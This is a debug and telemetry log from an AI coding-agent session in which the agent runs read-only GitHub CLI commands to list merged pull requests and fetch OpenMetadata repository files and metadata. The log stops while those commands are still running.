mcp_server_origin= event.timestamp=2026-07-12T04:02:48.231Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.233Z] [INFO] 2026-07-12T04:02:48.232038Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_RCYteFzv8pYUM60KSNXS63kH duration_ms=1744 success=true arguments_length=562 output_length=2086 output_line_count=59 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:02:48.232Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.233Z] [INFO] 2026-07-12T04:02:48.232186Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_RCYteFzv8pYUM60KSNXS63kH tool_source=\"direct\" execution_started=true dispatch_duration_ms=1 handler_duration_ms=1749 total_duration_ms=1751\n[2026-07-12T04:02:48.233Z] [INFO] \n[2026-07-12T04:02:48.516Z] [INFO] 2026-07-12T04:02:48.337712Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:48.516Z] [INFO] \n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.474198Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.484768Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:48.484Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.484850Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=1 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:02:48.484Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:48.532Z] [INFO] 2026-07-12T04:02:48.484874Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:02:48.532Z] [INFO] \n[2026-07-12T04:02:48.603Z] [INFO] 2026-07-12T04:02:48.583768Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:48.603Z] [INFO] 2026-07-12T04:02:48.595112Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:48.603Z] [INFO] 2026-07-12T04:02:48.600652Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:48.603Z] [INFO] \n[2026-07-12T04:02:48.746Z] [INFO] 2026-07-12T04:02:48.724873Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:02:48.746Z] [INFO] 2026-07-12T04:02:48.724955Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:02:48 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"91e192f8-c2ed-4ed6-a9fa-013342092733\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=IA%2BZtw7KattRkDq%2BS8sijG2qaUkJRx9jbak4kZzaQr45hDJpIYlH7mpcfOwvSNNr3NxpKZM3%2B57zw923AJ0zYBbd0S0wWw4IkpnFeIDblta2RHcS8n5r%2Fq6vsnSs\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d278dd84a5d54-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:48.746Z] [INFO] \n[2026-07-12T04:02:49.265Z] [INFO] 2026-07-12T04:02:49.264466Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e93e8081918957fd287166f1fc\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHpijiBE1l6p7O6ixlVUtBxqFOegQVdpeQLBAgSTtw1T3kMWHamdr93GxvM2N94iVdXc0db__VHNiWX6Qe5kz54NNgbzs4osapGBZIWVS2l82UIHKGRt1bVS7cqHamjkOOjxx_r3TrUifsVw_EqD_FN9eSxziSkYi_20qwbDguxaVnQXggy7Rx-eYP-db8gqIKgAXnBl2hfIWtegL3WG9c8s6OOV9Hz1MbEq8UjPq1hhM8mR8BQg2qhH28bHDy_pqnHM6cb48YSIzPgvthFVhXpuge2Zmj0Wf7_uE_WCdaLzuPe4_8EQw8pOoUJGRPmeCmF459Hl34B9vrr08rO9YeGrRvFMs5oHHXY6saBrqOS7N18qkIjX-c_xW68EVQbfESaxtlxg2IAFNuYmqnETN3_YkHEkJqkmVUexoPC10T6dUcmSmNHr9lOf-XmcMV_AM_dM7TquYP9kjyKOze-5fgTFBv7-XrV3vnI7XWVODrfkFMIVF90poyaXdl3xNn72v_MB3reqViGe2NyU7HEj0G2dd8AtWY6VbSr616Xi2f0T1-QhtXcH8tY34DlwF9vMGogIKOcLa6DERj-g4EnJLOwp2RwKN7bC20m6jGDopkFdsKKPKbkU5ltTKRjP0fDIcWvC2YercUTKP34jCgjjloLoQCJP0WVCR6bhuQoyiyQcG3wKVlQ7iCfbVPrdxYdwtfQGMjLZV_g31FsBinQq4vg-aoBaGB0pDclvN2Q-9xwXfYGogoO9UJkXUSQTjz7b6mM5Yje1tEUe7zhV59UFmGER4e1g6jIExpSPoMC1ePsZ6eGxONuAkkRcyyTd4ZkTTk2MYbtz4w-Lc0kvCHF7tXccBMVZm19E9ZQ62WvtIysptP957-SzxHCVQY_pqlTtSgu5ThQvllCAMLdo4h8LEpeiA==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:49.265Z] [INFO] \n[2026-07-12T04:02:53.545Z] [INFO] 2026-07-12T04:02:53.544683Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a5311e93e8081918957fd287166f1fc\"), summary: [SummaryText { text: \"**Planning data collection and cloning strategy**\" }, SummaryText { text: \"**Searching recent best practices PRs**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxHt8T-VNW2U7xMf4fLd9g3F_tfJOSwfngTUZ9IcR_ArWJcYEU8AHp4QuH8q-ZwrQkU3w7joprLXRNmlH51QGUTm2tzwPMmZP-z87yIqj3R_6m0w7sIvg6Sp9WmEKxaZbdgCMUHsyFuJAg4D5vWCXHDnN8q0wjP9pC3xlOCauhgpGpT6dWyPT_-oaWdG8BX_6akG_ZhuhQigHG8vuExUR0-ivW7keoKm1rxu9Cz9B7WjWvdxLAKxj_WxFMEAQyhKSh6pVEkEA_hZSHkqgiIp9Cj1YvWQBsSsHY4camaRLwyPOmyvTn3I-rsaCclz83Ki5ncRZDO0CyP3iWQnbPo8aSw3MAfzTpnXg9yu_JnKodVrkRQv3cekMHK52cx617tnNMb58GHaG9npC5TT9JW3yMueeYmFEwR0Z6nN1K9n8pl9NUhoPKunwEu5ej_NmerOTxe0AZKDktgEaAwEIuWsBjCnKJm1-wCIevsuYcMgO8J-QHWdycO2wu7gzfpmUYxUGAx8diLgsbeuNKdHgJKszYZIN9qlXatVEGyMw10mzJksqZX0l2jvyMayOD0ksXGgz2WeYxV_R_294C4rgtkoFU5FFWnZ0b5rQZNpg-Vg3F6DL8JCdQzwUJ9EY3jFhQWS8OQ9IzSQUi57YZ0fUIyvjIMZQg55YB6XxGS1wihJJWLTn6Up9eRIuz05eB_snZtmO-xm7HzGTCNGDqB54uhNQfQDF8-zc96KI3FoldU-N2EMe8772nGA2iqB5wphMYpk2U1dLySNAfAeJTWZ2I0Xz-29u7ez-TPV0ZnEy-CMXsYem8JzB8OOXJPeY4h73t_Q1kNSpI4k6f1g7krp1_0k6WWDNOixYb6l8uCNbSeF98X5AqW0yFJrmVrWpWvp1dKlG917-d4p6OhOs9XMNX9S_iowDZGM1mLCH-9GdSQVS02UM2cJavzuTXzF8yRh7OG6Tt7A_3vjWZGgm8LxQj4MxwTRMCrBRoQVKSrbJNhoXk7UkOCR-EQclnvk15vwms5VPW3fsbj8pMbNaZU5_msQHek5cvSNlUMTP4m1rkvG_BYUXFv9oVobvrISqnVkTV9fTZT7TReXPAGaBZR4iVHsWvOWJk4Cw3tkP7Q9HMLDcjP7QXFC-UyhGY5TrIQFrOFUDh-5jjfvnI4sivy8LV6becVQMGAm6IQqe05cVI2zOUgewfRsh10XM3r2LzNUTjWiAAM7zVcER08FgHwgftsPs9t99zE3KeNfJYEYRZF1j2J-coPXsOe-XuhjnUuDrClenofRvrNBx9at3IZKqCJ7TkdmT82XsgyAh7ZD9JjxsVy0cM_H59cUwyB4FNTi2Sk2_YIAftXBgKiN_TukNAtsinjgoAuGfJyqE3A3Xq7D_qXBI0c1sZdaRkb52Ykoa8zJGOHCqC5avZ5G7LOczjQUeCY6_CnBXBCzldJ_PRCojff7Bvtdt2wUC42LUjBOMfLlqFr6bWfeuJcWSKDBDY4eCinFDileEDdT1KsN4wa0NERyh-jI4YhU7uE6GOxVCDHUHEYn8ZqlaxNCRQdHtU42VlHqHgWUzu6fBccA5hX4hXHvAyZzMoS_TRxfNtV-vDo_DsPyEVVoB5pp8pP331NdUEHBLzHCJlGvi2zCwD9bCnK1k7dCvvGyCkY6xuLjUFJFEqGKGRD2P8XZUyyTvL39h9ahnJQj5u_dDWYjucm3wkW_L0i5lUE1MMTZ4qbGWfvBolO9r4Bt4VdW9QlKNxmzM6klfKX8rjk0udb08nar7Gxgor4px35J0KXfWlR8CqKsszZBL0EX-KLSBZfZ7sgp2oa0QOaNJj-VZPsV2SaLHT_EB3JnEbp6oQyIlcSJ5qq4ikf4L-1btQO2VBI-hd7k0_JaBnXiPrMxlL6c2pXM4hj23XEDRwGiVUteGY-cBQUn96FA\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:53.545Z] [INFO] \n[2026-07-12T04:02:53.557Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_16\",\"type\":\"reasoning\",\"text\":\"**Planning data collection and cloning strategy**\\n**Searching recent best practices PRs**\"}}\n[2026-07-12T04:02:53.557Z] [INFO] \n[2026-07-12T04:02:53.569Z] [INFO] 2026-07-12T04:02:53.569384Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5311ed84ac81919d8e59061590e187\"), status: Some(\"in_progress\"), call_id: \"call_TFDuOuM3NVuwrNC5tOrYEAs9\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:02:53.569Z] [INFO] \n[2026-07-12T04:02:58.809Z] [INFO] 2026-07-12T04:02:58.804267Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const cmds=[\n[2026-07-12T04:02:58.809Z] [INFO]  [\"related_prs\",\"gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_repo\",\"gh api repos/open-metadata/OpenMetadata\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_release\",\"gh api repos/open-metadata/OpenMetadata/releases/latest\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_languages\",\"gh api repos/open-metadata/OpenMetadata/languages\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_tree\",\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\"README.md\\\" or .path==\\\"CONTRIBUTING.md\\\" or .path==\\\"SECURITY.md\\\" or .path==\\\"openmetadata-spec\\\" or .path==\\\"openmetadata-service\\\" or .path==\\\"openmetadata-ui\\\" or .path==\\\"ingestion\\\" or .path==\\\"openmetadata-dist\\\" or .path==\\\"docker\\\" or .path==\\\"openmetadata-clients\\\" or .path==\\\"openmetadata-docs\\\" or .path==\\\".github/workflows\\\") | {path,type}]'\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_readme\",\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\"],\n[2026-07-12T04:02:58.809Z] [INFO]  [\"om_contrib\",\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\"]\n[2026-07-12T04:02:58.809Z] [INFO] ];\n[2026-07-12T04:02:58.809Z] [INFO] const rs=await Promise.all(cmds.map(async ([n,c])=>[n,await tools.exec_command({cmd:c,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:02:58.809Z] [INFO] for(const [n,r] of rs) text(`===== ${n} =====\\n${r.output}`);\n[2026-07-12T04:02:58.809Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:02:58.809Z] [INFO] \n[2026-07-12T04:02:58.815Z] [INFO] 2026-07-12T04:02:58.809448Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5311e88c708191a6cd618e8176cd17\"\n[2026-07-12T04:02:58.815Z] [INFO] 2026-07-12T04:02:58.809494Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=31990 output_token_count=527 cached_token_count=23296 reasoning_token_count=147 tool_token_count=32517 ttft_ms=787 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:58.809Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.815Z] [INFO] 2026-07-12T04:02:58.809518Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=31990 output_token_count=527 cached_token_count=23296 reasoning_token_count=147 tool_token_count=32517 ttft_ms=787 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:02:58.809Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.815Z] [INFO] \n[2026-07-12T04:02:58.938Z] [INFO] 2026-07-12T04:02:58.935192Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-d8eb3709-b482-48a6-8657-378b5d20a942 decision=approved source=Config event.timestamp=2026-07-12T04:02:58.935Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.938Z] [INFO] \n[2026-07-12T04:02:58.968Z] [INFO] 2026-07-12T04:02:58.966801Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-77255e9a-6256-49d8-bdfa-37d4540232bd decision=approved source=Config event.timestamp=2026-07-12T04:02:58.966Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.968Z] [INFO] 2026-07-12T04:02:58.968445Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-11e9a5f1-4a10-4ea3-820d-9e22465e454c decision=approved source=Config event.timestamp=2026-07-12T04:02:58.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.968Z] [INFO] 2026-07-12T04:02:58.968463Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-177ef86b-02c1-4ddf-8538-b70e743cb244 decision=approved source=Config event.timestamp=2026-07-12T04:02:58.968Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:58.968Z] [INFO] \n[2026-07-12T04:02:59.000Z] [INFO] 2026-07-12T04:02:58.998643Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-1127f142-2f1c-4237-a193-4829c1dcdd61 decision=approved source=Config event.timestamp=2026-07-12T04:02:58.998Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.000Z] [INFO] \n[2026-07-12T04:02:59.020Z] [INFO] 2026-07-12T04:02:59.019729Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-28aecdb0-046c-4245-af97-933c2101b2bf decision=approved source=Config event.timestamp=2026-07-12T04:02:59.019Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.020Z] [INFO] \n[2026-07-12T04:02:59.049Z] [INFO] 2026-07-12T04:02:59.046291Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-f948e03b-3e2d-4bb1-af52-f13ba112e15e decision=approved source=Config event.timestamp=2026-07-12T04:02:59.046Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:02:59.049Z] [INFO] \n[2026-07-12T04:02:59.121Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_17\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.121Z] [INFO] \n[2026-07-12T04:02:59.171Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_18\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.171Z] [INFO] \n[2026-07-12T04:02:59.176Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_19\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/languages'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.176Z] [INFO] \n[2026-07-12T04:02:59.210Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_20\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.210Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_21\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\\\\\"README.md\\\\\\\" or .path==\\\\\\\"CONTRIBUTING.md\\\\\\\" or .path==\\\\\\\"SECURITY.md\\\\\\\" or .path==\\\\\\\"openmetadata-spec\\\\\\\" or .path==\\\\\\\"openmetadata-service\\\\\\\" or .path==\\\\\\\"openmetadata-ui\\\\\\\" or .path==\\\\\\\"ingestion\\\\\\\" or .path==\\\\\\\"openmetadata-dist\\\\\\\" or .path==\\\\\\\"docker\\\\\\\" or .path==\\\\\\\"openmetadata-clients\\\\\\\" or .path==\\\\\\\"openmetadata-docs\\\\\\\" or .path==\\\\\\\".github/workflows\\\\\\\") | {path,type}]'\\\"\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.210Z] [INFO] \n[2026-07-12T04:02:59.245Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_22\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh api repos/open-metadata/OpenMetadata/releases/latest'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:02:59.245Z] [INFO] \n[2026-07-12T04:02:59.257Z] [INFO] 